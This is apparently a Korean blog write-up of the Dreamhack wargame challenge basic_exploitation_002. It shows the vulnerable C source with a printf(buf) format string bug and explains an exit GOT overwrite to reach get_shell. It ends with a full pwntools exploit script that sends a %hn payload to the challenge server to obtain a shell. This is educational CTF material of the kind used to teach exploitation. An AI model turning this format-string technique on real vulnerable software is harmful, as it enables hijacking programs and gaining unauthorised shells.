basic_exploitation_002
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_002)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f
dreamhack.io
문제 분석
코드를 분석해보면
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
|
cs |
read를 통해 buf를 0x80만큼 입력 받고, buf를 printf 함수를 통해 출력한다.
그런데 printf 함수의 인자로 buf를 그대로 입력받으므로 해당 부분에서 취약점이 발생할 것으로 예상되어
해당 부분을 실제로 출력해보았다.
입력을 위와 같이 주니
첫 번째 인자에서부터 입력한 값이 저장되는 것이 보인다.
해당 문제를 어떻게 접근해야할지 고민한 끝에
buf를 입력으로 받은 후 출력에서 취약점이 발생하므로
%n 명령어를 통해 exit 함수의 주소를 get_shell 함수의 주소로 변경하면 어떨까 하는 생각이 들었다.
Exploit
이를 위해 먼저 get_shell의 주소와 exit의 GOT 주소를 알아야한다.
사실 이렇게 말고
1
2
3
|
e = ELF("./basic_exploitation_002")
get_shell = e.symbols["get_shell"]
exit_got = e.got["exit"]
|
cs |
위와 같은 코드도 가능하다.
이렇게 get_shell과 exit의 GOT 주소도 알았으므로
이제 %n 포맷을 통해 exit 주소에 get_shell 주소를 집어넣으면 된다.
먼저 알아낸 get_shell 주소는 0x8048609이다.
그런데 코드에 30초 시간제한이 있고, 현재 32-bit 환경이므로
804 / 8609를 따로 넣어주어야 한다.
그래서 exit_got + 4, exit_got의 주소를 사용해야 하고,
exit_got + 4에는 0x804를, exit_got에는 0x8609를 넣어주면 된다.
먼저 exit_got + 4에는 앞선 8바이트를 먼저 선언했으므로
0x804 - 0x8인 %2044c를 넣어주면 되고,
exit_got에는
0x8609 - 0x804 값인 %32261c를 넣어주면 된다.
그리고 위의 인자를 2byte씩 (little Endian) 넣어주므로
%n이 아닌 %hn을 사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
p = remote("host3.dreamhack.games", 22409)
# p=process("./basic_exploitation_002")
e=ELF("./basic_exploitation_002")
exit_got = 0x804a024
exit_got = e.got["exit"]
get_shell = 0x8048609
get_shell = e.symbols["get_shell"]
payload = p32(exit_got+4)
payload += p32(exit_got)
payload += b"%2044c%1$hn"
payload += b"%32261c%2$hn"
p.sendline(payload)
p.interactive()
|
cs |
'Hacking > system' 카테고리의 다른 글
basic_exploitation_003 (0) | 2024.01.20 |
---|---|
basic_exploitation_001 (0) | 2024.01.18 |
Format String Bug (0) | 2024.01.18 |